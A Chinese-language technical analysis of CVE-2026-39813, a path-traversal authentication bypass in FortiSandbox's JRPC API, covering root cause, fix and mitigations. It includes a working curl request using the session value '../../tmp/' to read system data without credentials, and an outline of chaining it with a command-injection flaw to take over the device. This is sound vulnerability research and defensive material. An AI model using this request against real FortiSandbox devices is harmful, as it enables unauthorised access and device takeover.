CVE-2026-39813 深度分析:FortiSandbox JRPC API 路径遍历认证绕过
一个精心构造的
../../tmp/如何绕过认证体系,读取 FortiSandbox 全部系统信息
背景
2026 年 4 月 14 日,Fortinet 发布了 FG-IR-26-112 安全公告,披露了 FortiSandbox 产品中一个严重的路径遍历漏洞 CVE-2026-39813(CVSS 9.1)。该漏洞影响 FortiSandbox 4.4.0–4.4.8 和 5.0.0–5.0.5 版本,已在 4.4.9 和 5.0.6 中修复。
本文基于固件逆向分析,从字节码层面还原漏洞的完整利用链。
摘要
- 漏洞类型: JRPC API 的
is_valid_session()函数将用户输入的session字段直接拼入文件路径os.path.join(DIRRPCSESS, session_id),未进行输入验证 - 利用条件: 构造
session: "../../tmp/"即可绕过认证——/tmp/目录始终存在且 mtime 持续刷新 - 影响范围: 未授权读取系统版本、主机名、序列号、CPU/内存/磁盘使用率、扫描配置等;可下载 32KB 加密系统备份
- 前置条件: 无需任何凭据,单条 HTTP 请求即可触发
认证架构分析
FortiSandbox 的 Web 管理界面基于 Django,使用两层认证架构保护 API:
1
2
3
4
5
6
7
8
HTTP 请求
│
├── 第一层:Django 中间件 FSAuthenticationMiddleware
│ ├── /jsonrpc 在 AUTH_PATH_EXCEPTIONS 白名单中 → 直接放行
│ └── 其他路径 → authenticate() 检查 session cookie
│
└── 第二层:JRPC 自带认证
└── is_valid_session() 检查 session_id 是否有效
第一层: /jsonrpc 被列入中间件白名单,Django 层不对其进行认证检查。这是设计意图——JRPC 有独立的 session 认证体系。
第二层: 该独立认证体系存在路径遍历漏洞。
漏洞根因分析
漏洞位于 apps/jsonrpc/rpcsession.pyc 中的 is_valid_session() 函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
# 字节码还原的伪代码 (CPython 3.10)
def is_valid_session(session_id, remote_ip):
fpath = os.path.join(DIRRPCSESS, session_id) # DIRRPCSESS = "/usr/rpcsess/"
if not os.path.exists(fpath):
return False
mtime = os.path.getmtime(fpath)
if time.time() - mtime > RPC_SESSION_TIMEOUT: # 3600 秒
return False
renew_session(fpath) # os.path.utime(fpath, None) — 刷新 mtime
return True
session_id 来自 HTTP 请求的 JSON body,属于用户可控输入,但函数在传入 os.path.join() 之前未进行任何过滤或格式校验:
| 输入 | 解析路径 | 效果 |
|---|---|---|
"abc123def456abc123def456abc123de" (合法 session) |
/usr/rpcsess/abc123def456abc123def456abc123de |
正常认证 |
"../../tmp/" (攻击) |
/usr/rpcsess/../../tmp/ = /tmp/ |
绕过认证 |
"../../etc/hostname" (攻击) |
/usr/rpcsess/../../etc/hostname = /etc/hostname |
绕过认证 |
os.path.join() 会保留前导的 ..,Python 标准库不会自动净化路径。只要目标路径满足两个条件就通过验证:
- 文件/目录存在
- mtime 在 3600 秒以内
为什么 /tmp/ 是最佳选择
攻击者需要构造一个始终存在且 mtime 持续刷新的路径。/tmp/ 是可靠的选择:
- 所有运行中的 FortiSandbox 实例均存在
/tmp/目录 - 系统的 cron 任务、日志轮转、Redis 缓存等会持续写入该目录
renew_session()在验证通过后调用os.path.utime(fpath, None)刷新 mtime,使得只要每小时至少请求一次,session 即不会过期
攻击演示
1. 未授权获取系统信息
1
2
3
4
5
6
7
8
9
curl -k -X POST "https://TARGET/fortisandbox/jsonrpc/" \
-H "Content-Type: application/json" \
-d '{
"id": 1,
"session": "../../tmp/",
"method": "get",
"params": [{"url": "sys/status"}],
"ver": "2.0"
}'
响应中包含 26 个字段的系统信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"result": {
"status": {"code": 0, "message": "OK"},
"data": {
"Version": "FortiSandbox-VM v4.48,build0412,251007 (GA)",
"Serial-Number": "FSA-VM0000000000",
"Hostname": "FSA-VM0000000000",
"System-Time": "2026-04-21 10:30:00",
"Disk-Usage": "2.05%",
...
}
}
}
2. 批量探测 50+ 个 JRPC 端点
经过对固件的完整审计,JRPC API 暴露了以下端点:
| 类别 | 端点 | 未授权可读 |
|---|---|---|
| 系统信息 | sys/status, sys/system_resource |
可读 |
| 扫描配置 | config/scan/options, config/scan/file_exts |
可读 |
| 系统备份 | backup/config |
可读 (32KB 加密) |
| 网络配置 | config/system/interface, config/system/dns |
需权限 |
| 管理员管理 | config/system/administrator |
需权限 |
只读端点(无 has_admin_write_permission 检查的)可完全绕过认证获取数据。
3. 下载加密系统备份
1
backup/config → 返回 32KB OpenSSL 加密数据(Salted__ 前缀)
加密密钥存储在 /etc/secret_key。如果能同时读取该文件,即可解密完整系统配置。
process() 双路径设计问题
在审计过程中还发现 rpc.pyc 的 process() 函数存在两条请求处理路径:
1
2
3
4
5
6
7
8
路径 A(form-urlencoded POST):
data = json.loads(request.POST['data'])
is_valid_session(data['session'], remote_ip) ← 有 session 检查
↓ True → 继续处理
路径 B(JSON body / 回退):
json.loads(request.body) ← 直接解析
→ URL 路由分发 ← 完全不检查 session!
路径 B(Content-Type: application/json)完全跳过了 is_valid_session() 调用。这意味着 JSON 格式的请求不仅不受中间件限制,连 RPC 层的 session 检查也被绕过了。安全完全依赖各 handler 内部的权限检查。
权限模型分析
部分高危操作(修改密码、修改网络配置)有额外保护:
1
2
3
def has_admin_write_permission(sess_id):
user = get_username_by_sessionid(sess_id) # 从 session 文件读取用户名
perm = get_user_privileges(user) # 查询数据库权限
当 session 为 ../../tmp/ 时:
get_username_by_sessionid()尝试open("/tmp/", "r")→ 目录 → 抛出IsADirectoryError- 异常被捕获 → 返回
INVALID_SESSION
因此,需要管理员权限的写操作在路径遍历场景下被阻止。但只读端点的信息泄露已构成严重的安全风险。
修复方案分析
Fortinet 在 4.4.9 中的修复非常简洁——在路径拼接之前添加正则白名单:
1
2
3
4
5
6
7
8
9
10
# 4.4.9 修复后的 is_valid_session()
def is_valid_session(session_id, remote_ip):
md5_pattern = '^[a-fA-F0-9]{32}$'
is_md5 = bool(re.match(md5_pattern, str(session_id)))
if not is_md5:
return False # 只允许 32 位十六进制字符串
fpath = os.path.join(DIRRPCSESS, session_id)
# ... 后续不变
通过字节码对比确认:
1
2
3
4.4.8: Locals: 5 | Names: os, path, join, DIRRPCSESS, ...
4.4.9: Locals: 7 | Names: os, path, join, ..., bool, re, match, str
Constants: 新增 '^[a-fA-F0-9]{32}$'
这个修复彻底解决了问题——合法 session ID 由 secrets.token_hex(16) 生成,固定为 32 位十六进制字符串,正则严格匹配该格式。
与 CVE-2026-39808 的关联
CVE-2026-39813 与同一天公告的 CVE-2026-39808(命令注入,CVSS 9.1)组合可形成完整的攻击链:
1
2
3
4
5
6
7
8
9
CVE-2026-39813(信息泄露)
→ 获取系统版本、序列号、配置信息
→ 确认目标是否为有价值的攻击目标
→ 下载加密备份(配合其他漏洞解密)
CVE-2026-39808(命令注入,已修复)
→ 在 /usr/rpcsess/ 创建伪造 session 文件(内容为 "admin")
→ 绕过 CVE-2026-39813 中 has_admin_write_permission 的限制
→ 修改管理员密码,完全接管设备
值得注意的是,CVE-2026-39813 完全不需要已知 RCE,纯 HTTP 请求即可触发信息泄露。相比之下,CVE-2026-39808 虽然更危险(root RCE),但需要能触发扫描才能利用。
时间线
| 日期 | 事件 |
|---|---|
| 2026-04-14 | Fortinet 发布 FG-IR-26-112 公告 |
| 2026-04-14 | 同时发布 CVE-2026-39808(FG-IR-26-111) |
| 2026-04-21 | 固件逆向分析,复现漏洞 |
| 2026-04-22 | 独立验证 4.4.9 修复有效 |
缓解措施
- 立即升级到 FortiSandbox 4.4.9 或 5.0.6+
- 如果无法立即升级:
- 通过 WAF 规则阻断包含
../的 JRPC 请求 - 限制
/jsonrpc/端点的网络访问(仅允许可信 IP)
- 通过 WAF 规则阻断包含
- 检查日志中是否存在异常的
/jsonrpc/请求
总结
CVE-2026-39813 是典型的路径遍历导致认证绕过漏洞——用户可控输入未经验证直接传入路径拼接函数,使得攻击者可以构造任意文件系统路径通过认证检查。该漏洞被评为 CVSS 9.1 的原因在于:信息泄露本身的影响范围广泛,且 FortiSandbox 作为网络安全产品,其被攻破后对所在网络的安全态势构成严重威胁。
该案例再次表明:即使存在自定义的认证体系,如果缺少基础输入验证,整个认证架构的安全性将无法得到保障。
